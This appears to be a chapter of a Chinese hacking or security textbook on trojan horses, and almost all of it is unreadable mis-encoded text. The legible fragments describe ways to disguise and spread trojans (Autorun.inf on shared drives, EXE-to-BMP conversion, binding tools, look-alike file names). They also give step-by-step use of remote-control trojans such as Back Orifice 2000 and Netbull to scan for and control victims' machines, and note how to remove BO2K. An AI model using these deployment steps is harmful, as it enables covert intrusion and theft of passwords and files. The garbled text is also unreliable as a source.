एᇀఢகڦ෇ൔᇑݞݔ - 1.3 ࢒ਜ਼׉ᆩంସ ččččččččč 6

෸൫ǈጐ߂ᄂጟൣ෸൫ǈ፞ᆪ෗߂ᆐU s p k b oă໚۾࿽௓ဵ

ᆐ೫ྜྷ༪ৈཽ࢟ฎݣ߲ሚࡼǈ෸൫Ᏼ࢟ฎ৔ᔫࡼဟ઀ဵ੪፜܎

ࡼǈݙ્Ᏼ࢟ฎࡼື෵࿟መာྀ߲ੜ੩૭ă۾ᐺ࠭෸൫ࡼ૥۾

Ꮗಯྜྷ၄ǈ஠ऎ೫ஊ෸൫ࡼ௥ᄏ৕ૣਭ߈ǈጲᔪࡵᎌ቉࢐ऴप

෸൫ă

Ԩ ቤ ڞ ܁

ڼ!6!ቤ

ዘۅ঄঴

෸൫ࡼᏇಯ ᒈྜྷ෸൫

ޟ୅෸൫৕ऴဣಿ

5.1 ෸൫৕ૣᏇಯ

༬ ஍ ᅉ ఢ க ( ᅜ ူ ० ׬ ఢ க ) ǈᆈ ࿔ ঢ ፔ ĐTrojan horseđǈഄఁ׬ൽጲထજหࣆڦ༬஍ᅉఢ கऻă໲๟ኸཚࡗᅃ܎༬ۨڦײႾǄఢகײႾǅ ઠ੦዆ଷᅃ໼ऺ໙ऐăఢகཚ׉ᆶଇ߲੗ኴႜײ Ⴞǖᅃ߲๟ਜ਼ࢽ܋ǈन੦዆܋ǈଷᅃ߲๟ޜခ܋ǈ नԥ੦዆܋ăఢகڦยऺኁྺକݞኹఢகԥ݀

၄ǈܸ֑ᆩܠዖ๮܎ᆆ֠ఢகăఢகڦޜခᅃڋ ሏႜժԥ੦዆܋૶থǈഄ੦዆܋ॽၛᆶޜခ܋ڦ ٷևݴ֡ፕ඄၌ǈ૩සߴऺ໙ऐሺे੨ସǈ៓બĂ ᅎۯĂް዆Ă෸أ࿔ॲǈႪ߀ጀ֩՗ǈ߸߀ऺ໙ऐ ದዃڪă

ఢக๟ᅃዖएᇀᇺײ੦዆ڦ࢒ਜ਼߾ਏǈਏᆶ ᆆԸႠࢅݥ๲඄Ⴀڦ༬ۅă໯࿍ᆆԸႠ๟ኸఢக ڦยऺኁྺକݞኹఢகԥ݀၄ǈ֑ࣷᆩܠዖ๮܎

ᆆ֠ఢகǈኄᄣޜခ܋न๑݀၄ߌකକఢகǈᆯ ᇀփీඓۨഄਏ༹࿋ዃǈྫྫኻీྭĐகđ႗༒ă

໯࿍ݥ๲඄Ⴀ๟ኸᅃڋ੦዆܋ᇑޜခ܋૶থࢫǈ ੦዆܋ॽၛᆶޜခ܋ڦٷևݴ֡ፕ඄၌ǈԈઔႪ ߀࿔ॲǈႪ߀ጀ֩՗ǈ੦዆຋Քǈ॰ಎڪڪǈܸኄ ၵ඄૰ժփ๟ޜခ܋ޯᇎڦǈܸ๟ཚࡗఢகײႾ

൒ൽڦă

ٗఢகڦ݀ቛઠੂǈएԨฉ੗ᅜݴྺଇ߲

঩܎ǖ

ፌ؛ྪஏ࣏تᇀᅜUNIXೝ໼ྺዷڦ้೺ǈ ఢக৽ׂิକǈړ้ڦఢகײႾڦࠀీ၎ܔ० ڇǈྫྫ๟ॽᅃ܎ײႾഴ෇ڟဣཥ࿔ॲዐǈᆩཌ ገኸସઠኴႜᅃၵఢகڦࠀీǈሞኄ้߲೺ఢக ڦยऺኁࢅ๑ᆩኁٷۼ๟ၵरຍටᇵǈՂႷਏԢ

၎ړڦྪஏࢅՊײኪ๎ă

ܸࢫໜጣWindowsೝ໼ڦනᅮ೵तǈᅃၵए ᇀ཮ႚ֡ፕڦఢகײႾ؜၄କǈᆩࢽহ௬ڦ߀

฀ǈ๑๑ᆩኁփᆩۮ໿ܠڦጆᄽኪ๎৽੗ᅜຄଁ

ڦ֡ፕఢகǈ၎ܔڦఢக෇ൔ๚ॲᄺೕݏ؜၄ǈ

ܸ൐ᆯᇀኄ้߲೺ఢகڦࠀీᅙන൵ྜ฀ǈᅺُ

ܔޜခ܋ڦ೦࣋ᄺ߸ٷକă

໯ᅜ໯ఢக݀ቛڟৃཀǈᅙঢ়࿮໯փᆩǈᅃ ڋԥఢக੦዆ǈేڦۉసॽࡹ࿮௞௢੗ჾă

5.1.1 ఢகڦݴૌ

ሞ঻ถఢகڦݴૌኮമံੂੂఢகڦࠀీă 1. ఢகڦࠀీ

ఢகࢅթ۾ۼ๟ᅃዖටྺڦײႾǈۼຌᇀۉ సթ۾ǈڍ໲்ᄺᆶ൶՚ǈఢகڦፕᆩ๟؆஋஋

ڦཧཧ॔๫՚ටࢅڣ൒՚ට௢ஓ,ຕ਍ڪǈසڣ൒

࠶૙ᇵ௢ஓĂጱྪ௢ஓߟ೦࣋ǈईኁཧ൒ฉྪ௢

ஓᆩᇀ໲ᆩǈᆴဥቭࡽĂࠣ೑ቭࡽĂฯ዁ྪฉᆀႜ Norton AntiVirusڪăײႾ෫๮ఢகڦࠀీ৽๟࠲

ԿܔݛऐഗฉሏႜڦኄૌײႾǈඟഄఢக߸ࡻں

ݔăᇀ๟ǈᇑᅃӯڦఢக၎ݒǈݒڑ܋੨႙ఢக

ॲॠֱጲमڦ܋੨ǈ݀၄ૌຼTCP UserIP:1026 ControllerIP:80ESTABLISHEDڦ൧઄ǈฎྲ຀ࢮ

ᆆ֠ཚრǈඪࢆఢகሏႜࢫۼᄲࢅ߿ऍኁ৊

ेሜኮ໯ǈߋ੺ॠֱᅃူǈᆶ๊஺ײႾሞഄူǖ

˄˅೼$XWRH[HFEDW੠&RQILJV\VЁࡴ䕑䖤㸠 ሞCಎߵణ୤ူڦኄଇ߲࿔ॲᄺ੗ᅜഔۯ Folders Startup=đc:\windows\start menu\programs\

startupđă

WINDOWS\SYSTEM\ SYSEXPLR.EXE%lđăኄ ᄣǈᅃڋມऍᅃ߲TXT࿔ॲǈᇱԨᆌᆩNotepadٶ

4.1.3 ఢக๟සࢆํแ߿ऍڦ

ऍኁ૧ᆩᅃ߲༬๺ڦANI࿔ॲǈ៓બڟኄ߲ANI࿔

ॲ้ǈဣཥࣷጲۯူሜ߿ऍپஓኸۨڦܱᅪ෉ॲ

ኲ෇ఢகڦݛ݆ă

1. ૧ᆩࠌၛࢅAutorun࿔ॲ

ྺକბသࢅ߾ፕݛՍǈᆶႹܠბၯईࠅິڦ ਆᇘྪዐࣷॽᆘಎࠌၛ؜ઠă߸ᆶฯኁǈ৩ॽగ ၵᆘಎࠌၛยྺ੗ႀǈኄᄣ๟ݥ׉ླ၃ǈ՚ට੗

ᅜ঺ُߴేူఢகƽ૧ᆩఢகײႾ঳ࢇAutorun.

inf࿔ॲ৽੗ᅜକăݛ݆๟ӝAutorun.infࢅದዃࡻ

ڦఢகޜခ܋ᅃഐް዆ڟܔݛDಎڦߵణ୤ူǈ ኄᄣփႴܔݛሏႜఢகޜခ܋ײႾǈኻႴ໱ມऍ ࠌၛڦىಎ཮Ք৽ࣷ๑ఢகሏႜă

໲ڦᇱ૙๟ኄᄣڦǈཚ׉֭෇࠼ಎǈ໲ࣷጲ ۯሏႜǈኄ๟ᅺྺሞ࠼ಎߵణ୤ူᆶ߲Autorun.

inf࿔ॲǈ޿࿔ॲ੗ᅜਦۨ๟ޏጲۯሏႜഄዐڦײ Ⴞăཞᄣǈසࡕᆘಎڦߵణ୤ူ٪ሞ޿࿔ॲǈᆘಎ ᄺ৽ਏᆶକAutoRunࠀీǈनጲۯሏႜAutorun.inf

࿔ॲዐڦాඹă

ӝఢக࿔ॲ.exe࿔ॲᅜतAutorun.infݣሞ ىಎߵణ୤Ǆኄ૛्ยܔݛڦDಎࠌၛ؜ઠ൐

੗ႀǅǈܔᇀߴేူఢகڦටઠຫǈ໱࣏ࣷႪ߀ Autorun.inf࿔ॲڦຌႠǈॽ޿࿔ॲᆆ֠ഐઠăኄ ᄣǈړᆶටມऍኄ߲ಎޙǈײႾ৽ሏႜକăኄᅃቲ ܔᇀঢ়׉ມऍಎޙ৊෇Đ࿢ڦۉసđڦටྰၾፌ ٷă߸৊ᅃօǈ૧ᆩᅃ߲.REG࿔ॲࢅAutorun.inf

঳ࢇǈ࣏੗ᅜඟే໯ᆶڦᆘಎۼࠌၛ؜ඁገ࣑ྺ

autorun.pif߭๕ఢகă

2. ӝఢக࿔ॲገ࣑ྺBMP߭๕

ኄዖݛ๕๟ӝEXEገࣅׯྺBMPઠ೻್ዐ

۾ኁăഄᇱ૙๟ǖBMP࿔ॲڦ࿔ॲཀྵᆶ54߲ጴবǈ

Ԉઔ׊܈Ă࿋ຕĂ࿔ॲٷၭĂຕ਍൶׊܈ăኻᄲሞ E X Eڦ࿔ॲཀྵฉेฉኄ54߲ጴবǈIE৽ࣷӝ޿

EXE࿔ॲړׯBMP཮ೌူሜူઠăᆯᇀኄᄣፔ؜

ڦ཮ೌ๟ࢾڦǈྺݞኹੂ؜ઠǈူఢகኁࣷሞഄ

ྪᄻዐे෇ᅃၵ༬๺ڦپஓǈӝኄᄣڦՔധेڟ

ྪᄻ૛ǈ৽ੂփ९཮ೌକǈᅺُ৽࿮݆݀၄ኄ߲

Đ཮ೌđփܔ৒ă

!݀၄!CNQ!ఢக༵๖

ഔۯIE៓બഗࢫǈIEࣷӝ཮ೌጲۯူሜڟIE ଣ้ణ୤ዐǈܸူఢகኁኻႴᆩᅃ߲JavaScript࿔

ॲሞڦᆘಎዐႀᅃ߲VBS࿔ॲǈժሞጀ֩՗ཁे

ഔۯၜǈ૧ᆩఫ߲VBSቴڟBMPǈۙᆩdebugઠ࣏

ᇱEXEǈፌࢫǈሏႜײႾྜׯఢகኲ෇ǈ࿮ำ࿮တ ݥ׉ᆆԸă

Ğӄ૩5-1ğ૧ᆩExe2bmpײႾӝఢக࿁ጎ ׯ཮ೌํ૩

Tufq!2!ሏႜfyf3cnqײႾ

Tufq!3!჋ስ཮ೌ!ิׯఢக

Step 1 ሏႜexe2bmp1.0ײႾǈഄዷহ௬සူă

Tufq!4!ิׯڦఢக࿔ॲ

ۡڦᆩࢽዐఢகăInternet Explorer 5.0Ă5.01Ă5.5਩

٪ሞ޿୑۴ǈ׉ᆩڦྲ෉ᆰॲਜ਼ࢽ܋෉ॲOutlook Express 5.5 SP1ᅜူӲԨᄺ٪ሞُ୑۴ă

ཚ׉ူఢகڦටǈࣷ዆ፕᅃހ༬ۨ߭๕ڦ xxxx.doc+xxxxx.exe newdoc.docӝኄଇ߲࿔ॲࢇ

ժሞᅃഐǄሞWord࿔ڗ఍࿂े෇ఢக࿔ॲǅǈኻᄲ

՚ටڇऍኄ߲໯࿍ڦWo r d࿔ॲ৽ࣷዐఢகăྺ

VBఢகՎዖUBJࢫܔOffice࿔ڗ೦࣋ၳࡕă

5. ཚࡗScriptĂActiveXतASPĂCGI঍ࢻগ Ԩڦݛ๕ኲ෇

వ݀၄ăසူ཮໯๖ǈӝRundll.dll ࿁ጎׯRundl1.

Step 2 Ӧݬq༪႔r̟૆ē༪႔ྑಓю෍ଫԅ

ઁ৴d௶܊ၼӦݬqಓюr̟૆ēඔವ qᅧܰ෻Θrԉ໰๯d

dllǈexplorer.exe ࿁ጎׯexp1orer.exeă

2Ǌӝጲमࢅഄ໲࿔ॲ઒ӿሞᅃഐ

ኄዖ࿁ጎ๮܎๟ॽఢக઒ӿڟᅃ߲Ҿጎײ ႾฉǈړҾጎײႾሏႜ้ǈఢகሞᆩࢽࡹ࿮ִਥ ڦ൧઄ူǈཧཧں৊෇କဣཥăԥ઒ӿڦ࿔ॲᅃ ӯ๟੗ኴႜ࿔ॲǄनEXEǈCOMᅃૌڦ࿔ॲǅă૩ සǈӝఢகޜခ܋ࢅగ߲ᆴဥ઒ӿׯᅃ߲࿔ॲ૧ ᆩQ Qईۉጱᆰॲ݀ߴ՚ටǈሏႜࢫࣷੂڟᆴဥ ײႾኟ׉ٶਸǈඐփኪఢகײႾᅙঢ়ൂൂሞࢫ໼

ሏႜକǈኄᄣፕܔᅃӯටڦ௚उႠ࢔ٷǈܸ൐न ๑໱ᅜࢫዘጎဣཥକǈසࡕ໱ڦဣཥዐ࣏ԍ٪କ ఫ߲Đᆴဥđڦࣆǈ৽ᆶ੗ీምْዐቲăఢகײႾ ኄᄣڦ࿁ጎ࢔׉९ǈᆩઠ઒ӿڦ߾ਏᄺ࢔ܠǈස exe࿔ॲ઒ӿऐExeBindڪǈ޿ૌײႾ੗ᅜॽኸۨ

ڦ࢒ਜ਼ײႾ઒ӿڟඪࢆᅃ߲࠽ྺدխڦඤோ෉

ॲฉǈ๑ዷײႾኴႜ้ǈसิײႾǄ࢒ਜ਼ײႾǅᄺ ሞࢫ໼ԥኴႜăړేምْฉྪ้ǈేᅙঢ়ሞփኪ փਥዐԥ੦዆ዿକǈܸ൐໲ኧ׼ܠዘ઒ӿăํा

ฉ๟ཚࡗܠْݴߪ࿔ॲǈܠْٗ޴৊ײዐۙᆩጱ

৊ײઠํ၄ڦă

Ğӄ૩5-2ğॽఢகᇑഄ໲෉ॲ઒ӿ

EXE઒ӿऐ੗ᅜॽଇ߲੗ኴႜ࿔ॲǄEXE࿔

ॲǅ઒ӿׯᅃ߲࿔ॲǈሏႜ઒ӿࢫڦ࿔ॲڪᇀཞ

้ሏႜକଇ߲࿔ॲă໲ࣷጲۯ߸߀཮Քǈ๑઒ӿ ࢫڦ࿔ॲࢅ઒ӿമڦ࿔ॲ཮Քᅃᄣǈੂփ؜Վ ࣅǈժ൐੗ᅜጲۯ෸أሏႜ้ڞ؜ڦଣ้࿔ॲă

Tufq!2!ٶਸ!FYF઒ӿऐ

Tufq!3!჋ስڼ2߲࿔ॲ

Tufq!4!჋ስڼ3߲࿔ॲ

Tufq!5!ኸۨԍ٪ୟ০

Tufq!6!ਸ๔઒ӿ

Step 3 ӦݬqຏྡྷϤr̟૆ēӰѻqᄗՇԛ֝

ّࢶᄓ໻ำߑrғࣇē༪႔ԛّ֝ྑᄓ

໻ԅำߑd

Step 1 ၮ໻EXEࣱ͞ݯēӕࢗୣЀᆴ࠘ੋd

Step 2 ӦݬqຏྡྷϤr̟૆ēၽӰѻqᄗՇԛ

ྡྷّᄓ໻ำߑrճܥࣟᄯӦݬqԤݬუ

ऺ ᄗՇԛྡྷّࢶᄓ໻ำߑr̟૆ē༪႔ ԛྡྷّྑᄓ໻ԅё༝d

Step 4 Ӧ ݬ q ຏ ྡྷ Ϥ r ̟ ૆ ē Ӱ ѻ q ͬ Ӊ ำ

7Ǌ૧ᆩWinRar዆ፕׯጲ๥ݣ࿔ॲ

ኄ ዖ ࿁ ጎ ݛ ݆ ǈ๟ ӝ ఢ க ޜ ခ ܋ ײ Ⴞ ࢅ

๕ǈ૧ᆩᇺײ֭෇၍ײरຍǈഴ෇dll၍ײăईኁࠬ ܠڦ۫ဇ੗ᅜׯྺఢகڦدխ঻ዊǈJava ScriptĂ VBScriptĂActiveX.XLMčबࢭWWW௅ᅃ߲ႎ

ڦݛ݆ᄺփీ೻್࿮໯փ९ڦAdministratorăሞ

ఢக૶থॺ૬ࢫǈ੦዆܋܋੨ࢅఢகײႾ܋

੨ኮक़৽ॽࣷ؜၄ᅃཉཚڢă

ኄ้ࢪǈ੦዆܋ฉڦ੦዆܋ײႾ৽੗ᅜ঺ጣ ኄཉཚڢᇑޜခ܋ฉڦఢகײႾൽڥ૴ဣǈժཚ ࡗఢகײႾܔޜခ܋৊ႜᇺײ੦዆କă

ఫ஺ǈఢக੦዆܋੗ీᆶనၵݛ௬ڦླ࡞

఼Ǜኄ૛փݟም༌༌ఢக੦዆܋ీၛᆶڦ੦዆

඄၌ǈᅃᅃଚਉසူǖ 1.൒ൽ௢ஓ

ᅃൎᅜ௽࿔ႚ๕ǈई࣐٪ሞCacheዐڦ௢ஓ ۼీԥఢக኎֪ڟǈُྔ࢔ܠఢக࣏༵ࠃᆶ॰ಎ

ऻ୤ࠀీǈ໲ॽࣷऻ୤ޜခ܋௅ْുऍ॰ಎڦۯ ፕǈ໯ᅜᅃڋᆶఢக෇ൔǈ௢ஓॽ࢔ඹᅟԥ൒ൽă

2.࿔ॲ֡ፕ

੦዆܋੗ᆯᇺײ੦዆ܔޜခഗ܋ڦ࿔ॲ৊

ႜ෸أĂႎॺĂႪ߀ĂฉدĂူሜĂሏႜĂ߸߀ຌႠ ڪᅃဣଚ֡ፕǈएԨࡥ߃କWindowsೝ໼ฉ໯ᆶ ڦ࿔ॲ֡ፕࠀీă

3.Ⴊ߀ጀ֩՗

੦዆܋੗ඪᅪႪ߀ޜခഗ܋ጀ֩՗ǈԈઔ෸

أĂႎॺईႪ߀ዷ॰Ăጱ॰Ă॰ኵăᆶକኄၜࠀీǈ ੦዆܋৽੗ᅜ্ኹޜခ܋෉ൻĂ࠼ൻڦ๑ᆩǈ໮

ዿޜခ܋ڦጀ֩՗ǈॽޜခ܋ฉڦఢகڦة݀ཉ ॲยዃڥ߸ᆆԸڦᅃဣଚߛप֡ፕă

4.ဣཥ֡ፕ

ዷᄲԈઔዘഔई࠲Կޜခ܋֡ፕဣཥǈ܏ਸ ޜခ܋ྪஏ૶থǈ੦዆ޜခ܋ڦ຋ՔĂ॰ಎǈ॔๫

ޜခ܋ጞ௬֡ፕǈֱੂޜခ܋৊ײڪǈ੦዆܋ฯ

዁੗ᅜໜ้ߴޜခ܋݀ໃ႑တă

5.3.2 ෢௮Ҿጎఢகڦۉస

ᄲၙํ၄ఢக႑တڦݒઍǈ৽ႴᄲሞҾጎྜఢ கޜခഗײႾኮࢫǈ૧ᆩ޿ఢகڦਜ਼ࢽ܋ײႾઠݡ

࿚ణՔऺ໙ऐǈᅜൽڥԥ߿ऍኁڦ߳ዖ႑တຕ਍ă ሞݡ࿚ఢகޜခഗײႾኮമǈᅃӯۼᄲံ৊

ႜ໇໭ăူ௬ධ඗ᅜĐգࢋđྺ૩ǈܔසࢆݡ࿚ణ Քऺ໙ऐ৊ႜᅃၵຫ௽ă

Ğӄ૩5-3ğ໇໭ߌකକգࢋڦऺ໙ऐ

Tufq!2!ሏႜĐգࢋđਜ਼ࢽ܋ײႾ

Tufq!3!໇໭ߌකĐգࢋđڦऺ໙ऐ 7626܋੨๟գࢋఢகఐණٶਸڦ܋

੨ǈړ඗࢒ਜ਼ሞยዃ้ᆶ้ᄺࣷႪ ߀ኄ߲܋੨ǈଷྔǈഄ໱ఢக੗ీ

๟ ๑ ᆩ ഄ ໲ ڦ ܋ ੨ ǈ ෢ ௮ ้ Ⴔ ᄲ

෢ ௮ ၎ ᆌ ܋ ੨ ă ኵ ڥ ᅃ ༵ ڦ ๟ ᄲ

෢௮ኝ߲I Pں܎၂඗ݯ้ݯ૰ǈᅃ ӯ ઠ ຫ ੦ ዆ ܋ ۼ ๟ ံ ཚ ࡗ ႑ တ ݒ ઍइڥޜခ܋I Pں኷ǈᆯᇀծࡽฉ

ྪڦI P๟ۯༀڦǈनᆩࢽ௅ْฉྪ

ڦI Pۼ๟փཞڦǈڍ๟ኄ߲I P๟ሞ ᅃۨݔྷాՎۯڦǈ཮ዐBऐڦI P

๟202.102.47.56ǈఫ஺BऐฉྪI P ڦՎۯݔྷ๟ሞ202.102.000.000ڟ 202.102.255.255ኮक़ǈ໯ᅜ௅ْ੦዆

܋ኻᄲ໇໭ኄ߲I Pں኷܎৽੗ᅜቴ ڟBऐକă

ঞ ే ᅃ ቲ

໇໭঳ࡕ

Step 2 Ӧݬᅖ࠘ੋ౨ԅqᆑՎദൌr̟૆ēݧ

༪ ႔ q ำ ߑ » ᆑ Վ ദ ൌ r ϲ Ӧ ē ӕ ࢗ ԅ q ദ ൌ ޙ സ ݯ r ճ ܥ ࣟ d ၽ q ദ ൌ ޙസݯrճܥࣟᄯ೛దӠദൌԅIPԙᄖ խcժࣇۜۤನཛྷēӦݬqࢗಳദൌr

̟ ૆ އ ࢶ ᆑ Վ ࠩ ໻ ദ ൌ d ദ ൌ ࠒ ڴ ມ ವ ၽ ୣ ဗ Ψ ԅ ำ · ࣟ ᄯ ē ୣ ມ ವ ٌ ಴ นqᅱൟ:I PԙᄖrdॹζᄯᅱൟนO K ԅIPԙᄖēއζವث௹ॴς۪ઁ৴ԅޙ സݯdၽ؞ಬैᄯแਬദൌӾIPԙᄖน q192.168.0.100rۤq192.168.0.24r०

൛ᅖݯd

5.3.3 ॺ૬ణՔऺ໙ऐఢகڦ૶থ

ሞྜׯฉ௬໯ຎڦ໇໭ᅜࢫǈ৽੗ᅜᇑణՔ

ऺ໙ऐڦఢகޜခഗॺ૬૶থକǈ൩ጀᅪǈՂႷ

๟ࢅ੗ᆩڦऺ໙ऐ֍ీ૶থǈޏሶփీ૶থǈူ

཮ྺգࢋڦ֡ፕহ௬ǈႴᄲሞĐړമ૶থđዐ჋ስ

໇໭ڟޙࢇᄲ൱ڦIPں኷ǈ඗ࢫ๼෇ݡ࿚੨ସǈኄ ᄣ৽੗ᅜྜׯକణՔऺ໙ऐڦ૶থă

ฉຎݛ݆๟ሞփኪڢణՔऺ໙ऐIPں኷ڦ൧

઄ူ๑ᆩڦǈසࡕᅙঢ়ኪڢణՔऺ໙ऐIPں኷ᅜ तݡ࿚௢ஓăժ൐ኪڢକ໲ڦݡ࿚௢ஓǈఫ஺ǈ৽

੗ᅜ኱থॽ޿ణՔऺ໙ऐཁेڟਜ਼ࢽ܋ዐକă Ğӄ૩5-4ğ૧ᆩգࢋ੦዆ۉస

ူ௬ઠੂᅃူ኱থཁे዁Đգࢋđڦऺ໙ऐ ڦ֡ፕօየǖ

Step 1 ၽᅖғࣇᄯᄐࠄӦݬ̟૆ ݧၽϲӦ༪ ႔qࢗಳ|චަᅖݯr੡গēߜӰѻqච

ަޙസݯrճܥࣟd

Step 2 ࡬ճܥࣟඔವ೛దqມವ੠ыrēqᅖ ݯԙᄖrďއંγޙസݯԅIPԙᄖĐྻ

ރq׀ูࣇগrԉઝఘēᆫ܊Ӧݬq௲ Շr̟૆܊ē࡜ࢶྻࢡӾუّIPԙᄖē

ྸ ࠼ ΄ ච ަ Ӿ q ς ۪ r ࢺ ܜ ժ ё ༝ ԅ qำߑڕस୶r༪ົ࢕ᄯॴd

Step 1 ၮ໻qς۪rࢺܜժё༝ēୣᅖ࠘ੋd

Step 3 ദൌࠒ೯܊ӦݬqڑΞr̟૆ēֲݍӾ ᅖ࠘ੋēუನำߑڕस୶ᄯᆑՎݖມವ ദൌࠒڴᄯᅱൟนOKԅᅖݯd

Step 4 დӾંγޙസݯ܊ē࡜ࢶྻॆဈς۪ઁ

৴ࣅᄥუ൛ޙസݯॴdς۪ઁ৴ટٴಬ ຣАࢡંγݯ୶ԅୀ੾ēᆑՎٕᆖୀ੾

έܤēޚৃْᄵࣇগ໰๯ēݦ௜ຂහ໰

๯ēຫᄥຂහٟટēЀᆴำߑē༉؟ᅟ Јζē֟ഢ໰๯ԉٟટd

ദ ൌ ޙ സ ݯ ਤ ұ ᄚ ટ ճ ྡྷ ّ ժ ࣇ

ۜ ࠩ ໻ ദ ൌ ē ఢ ڴ ᄑ ద ς ۪ ನ ༪ ႔ ԅ ୣ ൑ ժ ࣇ ۜ ē ᆑ Վ ദ ൌ ಾ ޿ ЉϢӾԅd

ঞ ే ᅃ ቲ

5.4 ޟ୅෸൫৕ऴ

1. BackOri¿ce 2000ఢக

B a c k O r i f i c e 2 0 0 0๟ୁႜ࢔࠽ڦB a c k ඪᅪ࿔ॲڪă໯ᅜBack Orifice 2000๟೦࣋૰ट ٷڦᅃዖఢகթ۾ă

ມऍBO2K॔੦ײႾĐbo2kgui.exeđ࿔ॲǈઠ ڟBO2Kڦਜ਼ࢽ܋হ௬ă

໲ڦޜခഗଚ՗ࢅޜခഗంସ੗ᅜඪᅪཱྀ

ጅĂፇࢇăਜ਼ࢽ܋ڦԝৠᄺᆶాۨ჋ၜ༵ࠃă

˄˅%2.ⱘ᥻ࠊ᪡԰

BO2Kڦ੦዆֡ፕࢅᅃӯڦఢக੗๫ࣅ੦዆

փཞǈ໲ڦ֡੦߸ၟDOSڦ֡ፕǈ໯ᅜߑথة้

ᄺႹࣷਥڥ࢔ன඗ă

!CP3L!֡ፕহ௬

˄˅%2.ⱘẔ⌟੠⏙䰸

B O2Kڦᇱ૙ഄํ࢔०ڇǈ৽๟ᇺײک୤ժ ੦዆ۉసڦ෉ॲ߾ਏăBO2K๟ሞۉసഔۯࢫጲ ۯኴႜڦޜခഗײႾǈఫ஺ፌ०ڇڦݛ݆৽๟ॽ ጲۯኴႜڦBO2KޜခഗײႾ෸ۖ৽੗ᅜକă

ံᄲॠֱWindows\SystemईኁWindows\

System32ణ୤ူ๟ޏᆶᅃ߲Đumgr32~1.exeđڦ࿔

ॲǈኄ߲࿔ॲڦ٪ሞՍپ՗BO2Kᅙঢ়৊෇ဣཥă փࡗ࢒ਜ਼੗ᅜ߸߀ኄ߲࿔ॲڦఁ׬ǈ

໯ᅜፌࡻཚࡗॠֱ࿔ॲ׊܈ઠॠ֪ǈBO2K ޜခഗ܋࿔ॲڦٷၭ๟114688ጴবǈ݀၄၎ཞ׊

܈࿔ॲࢫᆩeditٶਸǈසࡕᆶĐBack Orificeđኄ߲

ጴޙز٪ሞǈఫ஺ဣཥ੝ۨԥBO2K෇ൔକă඗ࢫ ኻႴᄲ෸أኄ߲࿔ॲ৽ీӝBO2K෫أۖă

࣏੗ᅜཚࡗॠֱጀ֩՗ઠॠ֪BO2Kăᅺྺ

BO2KሏႜࢫࣷႪ߀ጀ֩՗૛ڦ႑တăBO2KႪ߀ ڦጀ֩՗සူǖ

[HKEY_LOCAL_MACHINE\SOFTWARE\

Microsoft\Windows\CurrentVersion\RunServices]

ĐUMGR32.EXEđ=ĐC:\\WINDOWS\\SYSTEM\\

UMGR32.EXEđ

෸أU M G R32. E X Eڦk e yኵࢫǈ৽੗ᅜሞ Windowsጒༀူ኱থ෸umgr32.exeᇸ࿔ॲǈኄᄣ BO2K৽ԥൣأۖକă

2. ྪஏࠅ౥

ྪஏࠅ౥ᆼఁNetbull๟ࡔׂఢகǈ޿෉ॲ੗

ᅜሞྪஏईኁ࿮ྪஏጒༀူྜׯܔޜခഗڦ੦

዆ăิׯޜခഗ࿔ॲࢫǈႪ߀࿔ॲఁ݀ໃߴ໱ට ሏႜ৽੗ᅜକă

ူ௬঻ถྪஏࠅ౥ڦ๑ᆩݛ݆ǖ

ມऍྪஏࠅ౥ڦਜ਼ࢽ܋ײႾPeep.exe࿔ॲǈ

૶থڟዷش੨ă

˄˅䜡㕂᳡ࡵ఼

Tufq!2!჋ስยዃ

Tufq!3!჋ስޜခഗײႾ࿔ॲ

Tufq!5!ࠎ჋Đ઒ӿሏႜđ

Step 3 ຏੋ࡜ݖѻຣq׻๠୶ϵ೴ಁᄢrԅճ ܥࣟd

Step 4 ၽუऺࢶྻಁᄢS M T P׻๠୶ူࠄೌં

γຂහԅIPԙᄖēqࣱ͞ၮ໻rࢶྻԄ Ӿճֺ౨ฉԅՎൟIPԙᄖēൎྻྡྷՇྑ

ӕ٭dᆫ܊ӦݬqOKrēଅᄢ׻๠୶෻

юd

ኄ้ມऍbuildserver.exe࿔ॲࢫǈࣷิׯᅃ߲

ఁྺnewserver.exe࿔ॲǈٷၭྺ213KBăፌࢫኻႴ ᄲӝኄ߲࿔ॲ߀߀ఁጴǈժ๑ڥణՔဣཥሏႜኄ

߲࿔ॲǈړኄ࿔ॲሏႜࢫՍࣷጲۯՎׯcheckdll.

exe࿔ॲǈժยዃׯਸऐጲۯሏႜǈ඗ࢫጲۯߴే

ڦ႑ၒ݀ᅃހټᆶړമဣཥIPں኷ڦ႑ǈኄᄣ৽

ڥڟକణՔဣཥڦIPں኷ă

˄˅ᅶ᠋ッⱘ䖰⿟ⲥ᥻

ړణՔဣཥሏႜକྪஏࠅ౥ޜခഗײႾࢫǈ

৽੗ᅜ৊ႜܔഄዷऐڦ॔੦କă

Tufq!2!ٶਸྪஏࠅ౥॔੦হ௬

Step 1 ༪႔ϲӦqଅᄥ׻๠୶rຏԅqಁᄢr

੡গd

Step 2 Ӱѻqӕࢗrճܥࣟēუऺ༓ྑ༪႔׻

๠୶ё༝PeepServer.exeำߑ܊ēӦݬ qӕࢗr̟૆d

Tufq!3!ሺेዷऐ

Tufq!4!૶থዷऐ

Tufq!5!၂๖॔੦ዷऐ႑တ

Step 3 Ӱѻqॕࠄrճܥࣟēၽճܥࣟᄯ೛ద ᅖݯ੠ыྻރᅖݯԅIPԙᄖēᅖݯ੠ы ࢶྻ഻άໟēެಁᅖݯ੠ыಾpeep,ᅖݯ ԙᄖน98.91.100.101dॕࠄֺ಴น੯ఊ ԅnetworkd௶܊ӦݬqOKr̟૆d

Tufq!6!ంସ჋ၜ֓ڇ

Tufq!7!ᇑణՔဣཥॺ૬૶থ

Tufq!8!Đ੦዆໼đܔࣆ઀

Step 6 ຕ ྑ ူ ં γ ຂ හ ॕ ࠄ ē ༪ ᄯ ં γ ຂ හ

܊ēӦݬq੡গ༪ົrᄯԅqॕࠄr੡

গēॕࠄ܊ēၽຏֺݖѻຣॕࠄюٟԅ ඔವd

Step 1 ഀݬPeep.exeำߑēӕࢗ޳ࣅ࠘ੋd

Step 2 ӦݬqำߑrϲӦᄯq႙ަᅖݯr ༪

ົd

Step 4 უನֲݍࢺܜժ޳ࣅғࣇē޳ࣅःᄯά ݖມವӲ஍޳ࣅԅᅖݯ໰๯d

Step 5 ॕࠄ෻ю܊ē࡜ࢶྻճંγຂහࠩ໻Ѐ ᆴēუّٟટඹڶq੡গ༪ົrϲӦ෻

юd q੡গ༪ົr٫ပ๔ّ޳ࣅ੡গד ιಾġॕࠄďူ׻๠୶ॕࠄĐēծࢗॕࠄ ďူ׻๠୶ծࢗॕࠄĐēࣅᄥ൛ďટݦ௜

